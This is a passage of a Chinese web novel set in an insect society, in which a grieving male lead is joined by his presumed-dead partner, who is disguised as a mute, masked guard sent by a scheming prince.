“您可以再休养一段时间……”安德拉轻声建议,“等找到雌虫照顾您再出院。” 索涅没有再说话,连看都没看安德拉,直接离开了检查室。 安德拉看着他的背影良久,叹了口气。 第26章 他想要更好的 离开学的时间还有两天,…… 离开学的时间还有两天, 索涅出院搬进了圣山脚下的一幢房子。房子很大,他进去的时候,一堆熟悉的行李正摆在明亮的客厅中央。 三个不大的灰色箱子, 他知道左边那个装着他的衣物, 中间是杂七杂八的小玩意儿和营养液, 右边的箱子…… 鼻尖涌起难捱的酸意, 索涅仰起头闭上眼睛, 潮湿渗出眼睫缝隙, 没有流到他脸上。 几分钟就这样流逝,他站在原地看了好久,直到胸口衣物一阵轻微起伏, 衣襟掀开三指宽, 一只机械猫探出脑袋, 仰头看着他,似乎在疑惑他为什么不动。 索涅伸手抚摸它的头顶, 抬眼看着那些行李,缓步走到箱子旁边蹲下身。 他将三个箱子叠在一起,随意抱进二楼楼梯边的卧室。 自己的衣服逐一挂进衣柜,杂物暂时不需要拿出来,最后, 他看着第三个箱子,手指搭在锁扣上,却迟迟按不下去。 机械猫从他身上跳到箱子上,发出“咚”的一声轻响, 它在箱子上转了两圈,像真的猫一样盘着身子卧下,占据了这个绝佳的窝。 索涅起身, 将箱子放到床头柜上,或许是还有什么后遗症,他泛起困意,整理好床铺后躺在边缘,额头与箱子只有一指的距离。 他无意识地蜷缩起来,紧靠着雌虫地衣物,陷入昏沉的梦境…… 他告诉自己,赫尔辛斯还活着,而他现在最应该做的,是有足够的钱和权,圣托是一个绝佳的途径,他更加绝无可能放弃机甲战斗。 索涅搬进他们赔偿的房产后,雄保会殷勤地来过几次,多数时候索涅都不在家,他们无功而返。 往往是一只雄虫带队,几只雌虫带着礼品或者各种雌虫的花名册,甚至今天直接带了几只雌奴过来。 他们听说,索涅喜欢雌奴。 雄虫一头黑色短发,眼珠几乎很少转动,黑中透露出幽深的浓蓝,唇角平直身形消瘦,手指苍白修长,当它们落在黑色水杯上,他几乎以为这只雄虫会把水杯捏碎。 但是没有。 索涅喝下一口水,起身走到几只雌奴面前,垂首打量他们。 半晌,他问:“没有更好的?” 雄保会的雄虫愣神的间隙,索涅坐回主位,“谢谢好意,不合我胃口。” “那您喜欢什么样的?我们资源丰富,一定可以满足您,您身为尊贵的A级雄虫,身边一只雌虫都没有怎么行?”雄保会雄虫是带着任务来的,不会这么轻易放过。 “我喜欢的,我会自己去找,”索涅目光落在虚无的一点,“身边不能没有雌虫?” “是的,毕竟雌虫可以照顾您,保护您的生命安全……”雄虫说。 “我有,他会回来的。”索涅说道。 雄虫一愣,他怎么没听说这位除了那只死掉的雌奴还有别的雌虫?但看索涅的神情也不像假的。 索涅……不会是在说那只化成灰的雌奴吧? 雄虫浑身一抖,感觉背后凉飕飕的。 客厅落针可闻,索涅垂眼看着水杯,苍白的下颌在锁骨投出一片阴影。视线落在虚空,仿佛在看着什么不存在的东西。 “那……您先休息,我再回去和上级商量商量……”雄虫后背发凉,越看索涅越觉得诡异,脚底抹油迅速溜了。 周围终于恢复清净,索涅揉了揉眉心,一群阴魂不散的皮条客。 他重新回到楼上,设置好机械猫在二十分钟之后提醒他下线,便连接游戏仓一头扎进深度决斗。 他需要钱,很多钱,而深度决斗擂台赛是他目前最大的收入来源。 “蓝色行星上线了!” “这家伙怎么又来了,谁这么倒霉……” 索涅选定一个擂台,这里刚结束上一轮比赛,他立刻申请匹配。周围迅速围过来数百只虫子,还有很多陆陆续续在往这里靠近。 他的对手心里犯嘀咕,这家伙热度这么高?怎么没见过啊…… 在他思索时索涅已经踏上擂台,在身形刚刚凝实的瞬间—— “砰!” 雌虫被一道强大的精神力直接抽飞,虚拟的烟尘四起,他的身体落在擂台之外,接连闪烁几下,逐渐变为灰色,离开了这个场地。 无波无澜的机械音回荡在场馆:“蓝色行星胜,用时十四秒,总胜85场,总败0,排名+85000,总排名1200000。” 几乎所有虫都倒吸一口凉气,弄出的声响颇为壮观。 一场比赛跃升万名是什么概念! 而且这已经不是后排的水榜,一个回合不到,纯粹暴力的精神力碰撞!十四秒就压倒性胜利,这家伙是要上天啊! 部分虫子心情激动地下线发帖,回来就发现登不上去了,显示场馆已爆满。 “艹!”他们骂骂咧咧地去搜到底怎么回事,发现数条帖子爆发几十万浏览,怪不得那么多虫去围观。 没多久他们就发现这只雌虫竟然开了直播,赶紧上线点进网友分享的链接,结果卡得跟幻灯片一样,差评! 索涅充分利用时间,二十分钟后他已经比完八场,精神丝开始后继无力。 他退出游戏,虚拟世界的喧嚣热闹随之远去,只有机械运转的轻微嗡鸣。小机械猫坐在游戏仓旁边,歪着头观察他。 索涅拍了拍它:“谢谢。” 他查看后台,奖金已经自动到账,总共五十二万,对手名次差得越大奖金越多。 索涅到院子里松了松筋骨。这颗星球有两个卫星,月明星稀。他按着有些酸痛的肩膀,逐渐停下动作,坐在草地上仰头看着星空,无边的寂静包裹着他。 “赫尔辛斯,你会在哪里?”他喃喃地问。 声音被夜风吹散,消弭在寂静的星穹。 —— “滴答——滴答——” 规律的滴水声接连不断,密不透风的合金牢房里,一只雌虫一言不发地坐在椅子上。 “想好了?”面相斯文的雌虫坐在他对面,悠闲地抬起一只脚翘在桌子上。 见他不说话,雌虫轻啧一声,“你现在这幅样子,也就只能通过这手段去接近他,知足吧。” “他不会接受。”金发雌虫低着头,肯定地说。 “那种货色……呵,放心,我们有的是手段,”雌虫站起来,走到他身后,一手搭在椅背上,“我们追寻的是永恒的真理,宇宙赋予我们的权利,你既然做过那种事,应该明白这伟大的目标。” “雄虫不过是一群废物,但我们现在还需要他们。” “不过,我们总得在你身上放点筹码,才能把你送回你心爱的雄虫身边。”他抑制不住地嗤笑一声,凑到金发雌虫耳边,眼神瞬间狠厉,“选择权在你手上,就看你是想死,还是想活。” 金发雌虫低垂着头,后颈衣领处露出一大片溃烂焦黑的皮肤。 “那位阁下要求倒是高,”见他不说话,雌虫抬起身坐回椅子上,饶有兴致地研究起自己的指甲,“雄保会屁颠颠送过去几只雌奴,你猜怎么着?” 对方手指一颤。 他癫狂大笑:“他没看上!他想要更好的!” “哎呀哎呀,王虫殿下,你看看你,”雌虫笑得溢出眼泪,语带可怜,“把我们雄虫阁下的审美都拔高了,这可怎么办?你说他看到现在的你,会不会恶心地吐出来?” “我可以告诉你一个好消息,当然,这对我来说是个好消息,”雌虫似乎在仔细地观察手腕上的纹身,“白玉蜂安莫因殿下的雌虫崽子成年了,虽然说等级不高,但那张脸、那身段,漂亮得像个妖精,你猜他会选择嫁给别的A级雄虫当雌侍,还是嫁给一只无权无势的A级雄虫当雌君?” “王族的财富全都压在这只雌虫身后,谁娶了他,就等于间接拥有整个白玉蜂王族,一只贫穷的、刚刚丧偶的雄虫要怎么拒绝这种慰藉?你都死了,他又为什么要拒绝?就因为他爱你?” “哈!” 雌虫笑得停不下来,“你不会指望一只高级雄虫给你守寡吧?看看你现在的样子,你配吗?!” 金发雌虫终于抬起头,侧脸形容姣好,苍金的瞳仁犹如凶兽般盯着猖狂大笑的虫子。 灯光透过垂落的发丝照在他另一边脸上,是比后背更严重可怖的烧伤,溃烂的皮肉露出新愈的粉色,疤痕凹凸不平,愈发显得恐怖怪异,令旁者心生恐惧不敢直视。 他的手指不自觉地在膝上轻轻颤抖着,眼睛却极尽冷漠,俯视着试图激怒他的跳梁小丑。 在他的眼神中,对面已经来了多次的雌虫渐渐安静。 “决定好了吗?机会是有限的。”雌虫说。 “需要我做什么。”良久之后,金发雌虫开口。 对方心里一喜,转而又对赫尔辛斯满是不屑,毫不掩饰恶意,“你会知道的,不着急,我们有的是时间。” “先做个小手术吧,王虫殿下。”他露出一个怪异的笑容。 似乎是冰冷的嘲笑,又似乎是恶意的期待。 时间过得如此之快,又慢得像拉满货物的老旧马车,沉重地走完一天又一天,绝望两个字装进行李背在背上,希望又吊在遥远的终点。 不抵达终点,谁也不知道这根胡萝卜是否腐朽。 索涅终于打开了那个箱子,里面有一个精致坚固的瞳纹密码箱,底下是赫尔辛斯的衣服,叠得整整齐齐,散发着老房子里洗涤剂的清香。 手指不受控制地落在柔滑的布料上,仿佛触及某种别样的温度。 房间寂静无声,窗外高大的梧桐叶已泛黄,树皮层层脱落,正是深秋。 透明的窗户四周围满花窗,细碎晨光落在床边。静坐良久的雄虫终于拿出一件衣服,缓缓地低头将脸埋在布料里。 这是他仅剩的,属于赫尔辛斯的东西。 索涅沉沉地吸一口气,眼眶无法控制地发酸,不想弄脏雌虫的衣物,他只能抬起头,却听到手环嗡鸣震动,接二连三。 他拿起手环,旋即皱紧眉头,真是阴魂不散。 艾浮·梅尔加殿下特地亲自关怀,送来一只经过专业训练的雌虫守卫? 索涅将手环取下扔到一边,专心收拾起密码箱里的物品。他明天入学,还要忙着回复精神力继续打擂台赛,没空理会这种事。 等逼到眼前,随意打发就好了—— 作者有话说:24号漏更,我的小红花和育苗榜[化了] 第27章 这种熟悉感 入学那天清早,索…… 入学那天清早, 索涅向军部的科洛伊少将发了一条信息,确认他已经回到主星并正在圣托大学。 前几天他就已经联系过科洛伊,但对方一直没有回信, 他去军部询问才知道科洛伊要出差一周。 索涅收拾好东西时, 来接他的飞行舰已经等在门口。 他在早上八点五十分准时抵达圣托, 远远地就看到里丹和另一只雄虫站在最前面, 身后跟着十几只雌虫守卫。 索涅跳下飞行舰, 他们带着笑意走过来, “索涅阁下?终于等到开学的这一天了,你好,我是雄虫部执行员临倍·苏利亚。” 索涅也同样俯身, “您好, 我是索涅。” 临倍笑意吟吟, 和旁边的里丹表情如出一辙。 只是里丹却不需要给索涅讲解,有空观察这只丧偶的可怜雄虫。 他正在心里咋舌评判, 突然对上一双死气沉沉的黑色眼睛,隐去一半的瞳仁盯了他一眼,只这一眼就让里丹手臂炸起一层鸡皮疙瘩。 怪了,这乡巴佬以前只是长得凶点儿,牙尖嘴利, 怎么现在这么瘆得慌? 索涅跟随他们坐上校内低空飞行器,一路经过诸多或威严或抽象的建筑,最终抵达圆柱形的寝室,一层就是一间宿舍, 不论雌雄虫,每层都是住两只。 “您应该不需要住校?”临倍问索涅。 “我就住在附近。”索涅说。 他要办一些事,住校太不方便了。 办理好入学, 索涅就离开了学校,临倍和一只雌虫不知在说什么,里丹送了索涅几步。 “索涅阁下,那么,四天后的理论课上见?”里丹停住脚步,嘴角含着一抹笑意,“你今天应该会收到一个重磅礼物,祝你生活愉快。” 他说完笑了一声,转身离开了。 索涅不禁蹙起眉。里丹的恭喜,可不会是什么好事。 他在舰场走了十几米,远远地看见一架石青色飞行舰,驾驶舱隐约露出科洛伊的脸。 他脚步一转,朝着科洛伊走过去。 “叶耳勒少将,好久不见。”索涅说。 科洛伊看到他,目光一闪,“索涅阁下。” 索涅登上飞行舰。 正是他和科洛伊约在这里。 “您似乎瘦了不少。”科洛伊说,索涅给他的感觉大不一样,像燃烧殆尽的灰尘。 但它紧紧地扒在原地,等待着那个能来打扫他的雌虫。 “见笑了,”索涅,“长话短说,我需要您曾经在范斯医院说的那些话的原始资料。” 科洛伊没什么反应,只是扭过头看着索涅,半晌,他又看着前方,“您要那些做什么,都是我胡说的而已。” “你知道我的目的,”索涅声音低沉,“赫尔辛斯没有死。” “我要找到他。”他说。 几秒之后,科洛伊笑了一声。 “雌奴而已,您要是想要,跟雄保会说一声就行,何必抓着一只死了的虫子不放?”他眼神无声地尖锐,“您找得到?怎么找?雇佣地下佣兵?发动联盟攻打三叉戟星盗团?还是把整个航线翻个底朝天?” 他猛然停住,仓内一时寂静地落针可闻,索涅一言不发。 “……您看,没有可能的事,何必去做?”他就差说索涅实在是自不量力,胆大包天。 雄虫沉默了很久,盯着前方圣托礼堂高耸的塔尖,黑沉的眼眸深不见底,坚不可摧。 “我现在只需要那些资料,至于我怎么做,你会看到的。”索涅嗓音发哑。 科洛伊的话对他确实是个打击,但也仅此而已。 科洛伊缄默半晌,开口:“那我又凭什么给您呢?” “凭我是受害者,而你们还没有给出任何答复或补偿,”索涅看到科洛伊面部一僵,“当时星舰到底破了几个洞,怎么破的,怎么修的,我昏迷后你们有没有不作为,我应该有知情权?” “……当然,”科洛伊慢吞吞地说,“您真是聪明。” 答复当然是给不出来的,其中苟且难以言表。让高级雄虫差点身死的巨额赔偿款,也匀不出资金。 “那么,资料?”索涅面无表情地看着他,完全不像是伸手要东西。 科洛伊看了他一眼,从操作台下方暗格取出一个圆形芯片,“里面有您要的东西。” 这份资料像是早已准备好,就等着他来取,但索涅也没有发表任何意见,淡淡地说了声“谢谢”,跳下飞行舰迅速走远。 科洛伊静静看着雄虫背影,竟然一时好奇,索涅最终能做成什么样。 流落边境的高级雄虫,这背后的可能性不可估量…… 深秋的主星依旧很热,大陆多分布在低纬,从飞行舰上向下看,碧蓝海面泛着微小的波涛,一眼望不到头。 飞行舰沿着海岸线低空飞行,索涅目光扫过地面,神情一顿。 “就停在这里吧。”他说。 飞行员看了一眼地面,问:“您是要去逛逛商业基地吗?” 底下就是主星日流水百亿,闻名遐迩的莫里斯太平岛,占地近两万平方公里。在这里,没有买不到的东西,只有穿着底裤走出去的穷光蛋。 飞行舰缓缓下降,停在某座楼顶。 “您可以找一只雌虫陪同,里面虽然看起来和平,但鱼龙混杂,雌虫可以保护您。”飞行员建议道。 索涅跳下飞行舰,“不用。” 他没有再给飞行员说话的机会,几步踏上另一座建筑,早就有多位亚雌服务员等在顶楼舰场。 “阁下您好,您是想用餐吗?请跟我来。”一只棕色头发的亚雌迎上来,姿态优雅而又礼貌。 索涅跟着服务员穿过走廊,坐在一处窗景位。餐厅环境很好,雪白的桌布只差一厘米就要触到地面,桌上摆着配色如油画般热烈的新鲜花卉。 索涅只为尝一样东西,他点完餐,亚雌有些惊讶。虽然这道菜是招牌,但只点一道菜还是太少见了。 很快,亚雌端着一个半尺大的白水晶餐盘放在他面前,透明餐具里盛着一份绛红色浓郁料汁,隐约露出切成丁状的蔬菜和香肠。 索涅看着这盘菜,半晌,舀起一勺。 齿间磕破圆润的珍珠丸,酸甜中透着奶香和咸味。 很熟悉的味道,可是终究是不一样的。 他没有再吃,点了不知道多少杯酒水,直到夜幕降临,才搭乘飞行舰抵达黑漆漆的房子。 太阳穴一跳一跳,或许是太久没喝过酒,头也痛得他皱起眉,没理会飞行员的搀扶,缓缓地向大门走去。 夜色还不算浓郁,圣山脚下霓虹很少,他也没有去注意原本平坦的门前多了什么东西,直到脚尖被一个东西绊住。 他的门前,有一团巨大的黑影。 头顶犹如泼下一盆冰水,索涅瞬间清醒,警惕地后退两步,透过微弱的光线观察着情况。 黑影微微动了动,似乎朝他走了一步。 索涅心中一紧,迅速向后退了三四步。 黑影停住不动了。 最初的惊诧之后,他很快意识到,这团黑影是一只虫子。 根据体型,应该是雌虫,但为什么一动不动地站在他门前? 索涅绷紧的后背有些潮湿,酒意还在冲击着他的身体,他拳头收紧,手腕有些发软。 直接堵到大门口,还等到天黑,看来来者不善。 “你是谁。”索涅低声问。 黑影沉默着。 “谁派你来的?”索涅太阳穴胀痛,看他不说话,心里烦躁,“哑巴了?” 听到这句,黑影似乎动了,从喉咙里发出一阵微弱的气音,却仿佛被一只手扼住,说不出完整的词。 他在点头。 意会之后,索涅心中一顿。 他仍旧紧盯着黑影,手上却摸到手环,按下开关。 明亮的灯光照射在前方,果不其然是一只雌虫,个子极高,灰绿长发,正站在他门前,被强光刺激得眼睛眯起。 索涅按在手环上的手指无意识地用力,只为这只不请自来的雌虫脸上带着面具,只露出嘴唇和下颌。他第一次见戴面具的雌虫,这打扮并不常见。 要么是劫匪,要么…… 正当索涅心中不断划过猜测时,雌虫试探性地朝前走了一步,他的眼睛也是灰绿色,在光线下剔透明亮,露出一丝忐忑。 索涅并没有动,他想看看这家伙要干什么。 雌虫见他不再后退,便又微微靠近了一点,他垂下眼,从怀里掏出一块巴掌大的玉石片递给索涅。 索涅看着他。 雌虫目光闪烁,一会儿避开他的视线,一会儿又抬眼看着索涅。 他无意识地侧着左脸,尽管带着面具,却执着于将半边脸隐匿在阴影中。 索涅终于伸手接过。 这是一份慰问书,乳白色玉石上雕刻着精美的花纹,凹痕里还嵌满纤细金丝,背面平平无奇,正面奢华异常。 看清上面的字,索涅瞬间无语至极。 “亲爱的索涅阁下: 听闻你远道而来,路途辛苦,由于我们的疏忽,使你生活拮据无虫照顾,特根据你的需求,补偿雌虫一只,之前的无心怠慢,还望你理解。 五日后,圣山珀斯厅计划举办第四百零七届雄虫交流会,衷心地希望你能参加。 来自圣子·艾浮·梅尔加” 要不是面前还有一只虫子在,索涅肯定会把这玩意儿直接扔进垃圾桶—— 作者有话说:赫尔辛斯[狗头叼玫瑰]宝宝们应该看出来了,他没哑 第28章 你陪我演场戏 “我不需要,你回去吧。…… “我不需要, 你回去吧。”他揉了揉眉心,打算绕过这只雌虫直接回家。 但雌虫一直看着他,灰绿色的眼睛里并没有祈求或者渴望, 索涅却对雌虫的眼神有些在意。 这种熟悉感…… 他心中烦躁更甚, 甚至觉得很是荒谬。艾浮果然是真的按照他的“需求”来送雌虫。 他不得不承认, 在意识到这只雌虫很像赫尔辛斯的一瞬间, 他有点犯恶心。 他甚至控制不住地怀疑, 这只雌虫之所以不说话, 还遮着脸,压根不是因为他是个哑巴,而是他的声音和脸根本不像赫尔辛斯? 雌虫没有拦他, 也没有求他, 就这样看着他走进院门, 门在他面前关上。索涅看着黑漆漆的门将雌虫隔绝在外。 他揉着太阳穴走进屋里,先给自己倒了一杯水, 冰凉的液体顺着喉咙滑进胃里,燥热和干渴的感觉才得到缓解。他暗自决定之后再也不喝酒了。 索涅洗漱完,颇有点心神不定,他坐在桌前看了半小时理论网课,却心知肚明自己没听进去多少。 “艹。”他咒骂着自己。 他关灯躺到床上, 闭上眼睛。 赫尔辛斯,赫尔辛斯…… 该死的艾浮…… 索涅翻了个身,睁开眼,看着黑暗厚重的窗帘。 又半个小时过去, 已经接近夜里十二点,他依旧无法入睡,而明天早上就有课。 他觉得这是酒的缘故。 他从床上坐起, 又喝了一杯水,握着水杯盯着窗帘。 一丝外面的景象都看不到。 索涅握紧杯子,指尖红得厉害。 他最终还是走到窗边,缓缓地拉开窗帘。 一团黑漆漆的,安静的影子,仍旧站在门边,离远了看,就连身形也很像赫尔辛斯。 索涅几乎是憎恶地瞪了那个影子一眼。 他披上衣服,冷着一张脸下楼,迅速地打开院门。 “你到底要在这儿站到什么时候?!”他的语气夹枪带棒。 雌虫原来正靠在门上,被索涅突兀的开门弄得差点倒在索涅身上,又被雄虫冷漠地一手推开。 雌虫看了他一眼,迅速地垂下头。 索涅更讨厌他了。 赫尔辛斯心情不好的时候也喜欢这么做。 “……我明天就投诉圣山骚扰民众。”索涅已经无可奈何。 雌虫似乎并不怕他投诉。 “你真的不会说话?” 雌虫点头。 索涅额角隐隐发痛。 就在这时,雌虫拿出手环,快速地写了一段文字。 索涅接过一看,脸色黢黑。 “他们说您没有雌虫,会参加今年萨尔纳斯节的相亲活动,我只是来辅助您的学业和日常生活。” 索涅依稀想起赫尔辛斯也跟他说过,雄虫必须要娶一只雌虫。 以前他有赫尔辛斯,可现在他把赫尔辛斯弄丢了…… 索涅几乎把雌虫的手环掐成稀巴烂。 他看着眼前这只雌虫。 雌虫灰绿色的眼睛和他对视两秒,又垂眼看着地面。 时间仿佛被放慢了几十倍,却让他压力骤增。雌虫垂眸任由雄虫打量着,直到索涅将手环扔回他怀里。 雄虫紧紧地抿着唇,侧身敞开大门,声音分外恼火:“进来吧。” “你叫什么?”索涅心中还没有成算,但这只雌虫看起来还算老实。 最重要的是,与其自己去找不明派系的雌虫,还不如这只,起码他身份很明确,艾浮派来的眼线。 “……希塞尔·普泊。”雌虫缓缓地打出这个名字。 索涅不太在乎,他没听过这姓氏,也可能是他见识短浅。 “你暂时住这里,禁止上二楼,要是碰到防护装置,我不负责。”索涅语气冷淡,“先休息吧,明天再谈其他的事。” 索涅头痛欲裂,翻出治疗剂随便喝了一口,便离开雌虫的视野。 客厅恢复黑暗和静寂,雌虫缓缓地走到桌边,从垃圾桶里捡出那只空管。 是治疗剂。 他蹙起眉,有些担忧地看着雄虫紧闭的卧室。 解决了这只打算当门神的雌虫,索涅莫名入睡得很快,他早上是被小机械猫踩醒的。 等他洗漱完换好衣服,打开卧室门的瞬间,却嗅到了一股熟悉的香味。 瞳孔骤然一缩,心脏霎时剧烈地跳动起来。他急促地跑下楼,却在厨房看到了灰绿头发的雌虫。 ……索涅捏住眉心,极速上升又从云端跌落,巨大的失落几乎击溃他。他很想痛骂几声,可又不知道该骂谁。 雌虫回过头,见索涅站在门外,他迅速地端出早餐放在桌上。 索涅毫无胃口,他只是喝了一杯水,坐在沙发上,“我们谈谈吧。” 见他不吃,还抱着一杯冷水喝,雌虫微微抿起唇,索涅示意他过去,他只得走到雄虫旁边,极为自然地坐在沙发上。 索涅目光一闪。 “……开门见山,我知道你的主子让你来大概带着点儿见不得光的任务,完不成你会有惩罚,但我也不会娶雌虫,如果你有这个任务,不用再白费力气了。”索涅说。 雌虫有些不自在地侧着身,闻言手指无意识地颤了一下,在手环上打出一行字:“我没有这个任务。” “那就是有别的任务,”索涅语气冷得能掉出冰碴子,“我不会过问,但我现在确实有一个需求。” 他声音清晰,“我们互惠互利,我给你一个不用受罚的机会,你配合我演一场戏,战线在时间上可能有点长,还会影响你的名誉,你考虑清楚。” 雌虫灰绿色的眼睛落在他身上,索涅感到一阵没来由的烦躁。 “你今天可以待在这里,我给你一楼的权限,别做多余的事情,晚上我回来,希望你能给我一个答复。”他喝完最后一口冰水,将水杯洗净放到吧台。 他注意到,雌虫没有试图去接手洗杯子这件事。 索涅离开后,希塞尔在餐桌边站了很久,看着一桌分毫未动的早餐,眉头皱得能夹死苍蝇。 雄虫变了。 变得不好好吃饭了。 也更凶了。 索涅瘦了多少他最清楚,希塞尔从昨晚就在担心雄虫的身体健康,但索涅现在对他十分警惕,不吃他做的饭……或许他至少应该建议雄虫去餐厅吃点东西? 希塞尔将食物收拾到厨房,站在料理台前,一边对着墙壁思考刚才雄虫的话,一边吃掉了所有的早餐。 雄虫没有明说要演什么戏,不过他当然会答应索涅。他正在发愁自己有什么价值,值得厌雌的索涅留下他,雄虫这么快就开始需要他,他心里其实是高兴的。 他正准备洗碗,手环突兀地发出一阵轻震。 希塞尔打开手环,垂下眼帘看着上面的信息。他迅速地发过去一条消息,随即关闭手环不再理会,专心打扫起客厅和院子。 圣山真的是一座山,并且是主星最高山,顶峰积雪万年不化,雪白而庄严。高耸险峻的坡道上铺设了九万九千级圣白石台阶,不过很少有虫走这条路,全都是飞行舰上下。 长阶尽头,三道三十米高的巨大拱门节节拔高,虫族战胜过的巨型星兽盘踞其上,背负着凛然冷峻的莫里斯联盟徽章。 数座大大小小的尖顶建筑错落有致地落在山间,通过圣白石廊道相连,犹如匍匐的臣民般,簇拥着最高处终年积雪的宏伟宫殿——莫里斯宫。 最接近莫里斯宫的三座宫殿,分别是三位圣子的居所,此时,其中一所温暖如春的宫殿里,尊贵的圣子殿下抑制不住地发出一声嗤笑。 “可怜啊可怜,“艾浮说这些话,神情里却忍不住露出一丝得意,“里丹,你这次可是功不可没。” 谁能想到去边缘星蹭点民众缘,竟然能找到传言已经死在牢里的王虫?还冒出来个A级雄虫? “这是我应该做的,是虫神在保佑您。”里丹谦虚地说。 他对面就是负责威逼利诱赫尔辛斯的雌虫,显然在圣子面前的地位不如他的雄虫弟弟里丹。 “他可是个硬骨头,这次真是磁流炮抵在他软肋上了。”雌虫伊图里斯·海泽说。 “真没想到整个虫族脊梁最直的金翅蝶,竟然会这么钟情于一只乡巴佬雄虫,”艾浮倒是对那只雄虫升起一抹好奇,“刚才他说他没暴露,那只雄虫怎么会突然接受他?之前不是很清高吗?” “还是殿下您聪明,虽然咱们的前王虫已经老了,但毕竟是恩其顿,不是其他低端货可以比的,那乡巴佬对他沉迷得很,您这是同时抓住了他们两个的软肋。”里丹恭维地很有水平。 艾浮心中涌出一阵得意,他比其他两位圣子年轻好几岁,心中格外焦虑,但他还成年没几天就弄成这么一件大事,他觉得自己很有从政的天赋。 恩其顿现任王虫即将成为他的雌君,上任王虫又捏在他手里,还白捡一只无权无势,从此之后只能唯他马首是瞻的高级雄虫。 一箭三雕,就能撬动恩其顿王族和第一军的支持,他艾浮怎么不能和其他圣子角逐执政官之位? 假以时日,那两个,终将是他手下败将。 艾浮嘴角露出一丝冷笑,眼里是势在必得。 第29章 希望 晚上,夜幕已经笼罩…… 晚上, 夜幕已经笼罩圣山时,索涅才回来。他打开院门,看到院子里的变化, 脚步一顿。 隐约有饭菜的香味。 索涅脱下外套搭在沙发上, 希塞尔从厨房走了出来。 雌虫不会说话, 但那双眼睛很灵动, 索涅轻易就能读懂其中熟悉的情绪。 他垂眼, 没有去看餐桌上丰盛精美的菜肴。 “不用做这些, 如果你肯帮我,我们就算扯平。”他冷淡地说。 雌虫眸光微闪,点了点头。 过了一会儿, 索涅才意识到雌虫不是在附和他的话, 而是他答应了今早索涅的提议。 雌虫在手环上打出文字, “您先吃晚饭,您答应我给我一个机会, 可是要是您的健康出现问题,我会受到严惩。” 雄虫用一种冷飕飕的眼神看了他一会儿,转身走向餐桌。 希塞尔唇角勾起,又去给雄虫榨了一杯果汁。 满桌子菜一个都不认识,但总有种熟悉的香味。索涅夹起一块鱼肉放入口中, 口感鲜美柔嫩,滋味确实不错,他却很难产生什么开心舒适的情绪。 他机械地将食物塞进嘴里,直到空荡荡的胃变得毫无空隙。 索涅放下筷子时猛然一顿, 锐利的眼神落在希塞尔身上,“你准备的是筷子?” 主星的餐具百分之九十九都是刀叉。 希塞尔带着面具的脸让他一阵烦躁,看不清对方脸上的表情, 但他紧紧地盯着雌虫的眼睛,没有从里面看出一丝一毫的慌乱,亦或心虚。 “他们给了我您的资料,”雌虫温和地解释着,“里面有您的习惯和性格。” 索涅盯着他的眼睛逐渐变得无波无澜,像看路边的一棵树,“不用这么费力地揣测,既然你答应了,我后续会让你去做一些事,除此之外,我们最好不要接触。” 希塞尔做的菜分量很大,他只吃了一小半。看着桌上的残羹剩饭,他要离开的脚步微顿,“你吃了吗?” 雌虫温驯地站在原地,灰绿色的眼眸泛着湿润。 索涅揉了揉眉心,“手环给我。” 雌虫递出,他接过后转了一笔钱过去,“给你自己买一份饭,桌上那些……就倒掉吧。” 他拿起衣服走上二楼,轻缓的脚步声后,门锁响起,一楼变得寂静而空旷。 雌虫摸着自己的手环,缓缓地坐在椅子上。 习惯真是个可怕的东西,他下意识就做了这么多菜,刚才雄虫说要倒掉,他竟然心中一空。 原本,他只是想以另一个身份待在索涅身边,即便雄虫发现他的丑陋,但“赫尔辛斯”仍旧是完美的。 再见的一瞬间,他就轻易地看出,索涅仍旧爱他,爱着那个葬身火海的赫尔辛斯。 可才一天而已,他就开始不甘心。 赫尔辛斯是完美的,美丽的外表,强大的实力,和索涅相濡以沫的过去。但现在这些和他无关。 他不过是个连脸都不敢给索涅看的,受制于其他虫的陌生雌虫。 为什么会变成这样? 如果他是以赫尔辛斯的身份回来,看到他这张可怖的脸,索涅还会接受他吗? 希塞尔缓缓地抬起手,在碰到脸上面具的一瞬间,又放下手,在餐桌边静静地坐了一会儿。 半晌,他静悄悄地收拾干净餐桌。 洗碗机嗡嗡地运作着,他关掉所有灯,踩着黑暗走进自己的卧室。 雄虫终究是仁慈的,即便关系并不融洽,也不会刻意为难他。 可越是这样,他越是不甘心仅仅流于表面的相处,内心深处蛰伏着一头贪婪的巨兽,而他不确定自己还能压制这种欲望多久…… 第二天,索涅仍旧起得很早,却一直在看网课,直到九点多才下楼。 一楼静悄悄,希塞尔确实没有再准备早餐,他房门紧闭,大概正在卧室里。 索涅松了一口气。 今天已经正式开始上课,或许是预习到位,第一次理论课他觉得还算可以,非常容易理解。只是下午的精神力训练出了点岔子。 作为最后一个班级,他们班一共有八十五只虫子,身为边缘星的考生,索涅的录取时间是最迟的,学号排在末位,这就导致他没有对练。 “或许可以三只虫一组?”老师建议道。 雌虫们眼睛发亮,盯着索涅的后背。 “第一节课并不涉及实际的对战,你们可以下课后再讨论。”老师又说。 索涅点点头,回到队伍里专心听讲。 雌虫们发出失望的声音,和雄虫精神力对战,会是什么感觉?他们别提有多期待了。 很快,他们的期待就转为震惊,眼睁睁看着雄虫接二连三答出老师的提问,有几只雌虫胜负欲旺盛,想和索涅竞争,但回答得都不如索涅完美。 这只雄虫对精神力的使用和观察简直吓虫,他为什么会知道那么多? 简单的预习当然没有这么好的效果,这是索涅在深度决斗中的体悟。随着他排名越来越高,对手对精神力的运用全部被他学到手,很多虫说等级越高的精神力越不好控制,但他得心应手,往往实际操作几次就能完美复刻。 索涅觉得,这是因为发帖的都是雌虫,雄虫的精神力并不会横冲直撞难以控制。 圣托的不同分部之间建筑风格相差极大,去餐厅的路上经过设计院,形如一片飘飞的羽毛落在地面,亚雌和雌虫在其中进进出出。 虽然没有明说哪个专业适合哪个性别,但都是默认的共识。不过这个世界上永远不缺与众不同的家伙。 索涅随意买了一份套餐,坐下时听到旁边座位两只虫子正在吵架。 A:“你能不能不要老跟着我!我不是你妈!” 索涅手腕一颤,餐盘差点掉在地上。他震惊地扭过头,视野却被绿植挡住,回过神来心脏狂跳,无声的拉动椅子靠近他们。 两只虫子的声音变得清晰。 B:“您可以尝尝我的餐盒,我觉得我有进步——” A:“你那玩意儿能吃吗?” B:“……”他并不确定。 A:“连能不能吃都不知道就让我试,你是想拜师学艺还是想毒死我?” B沉默了。 他没想过毒死雄虫这个情况,都是可以食用的蔬菜肉类,会有那么大的效果吗? 索涅忍不住眉头微挑,静静地等待着,但是两只虫子开始没营养的对话,他没再听到什么有用的信息。 他只顾着偷听没怎么吃饭,一回过神就听到他们要走了,连忙绕过绿植叫住他们:“打扰——” 他的嗓子眼硬生生卡住了。 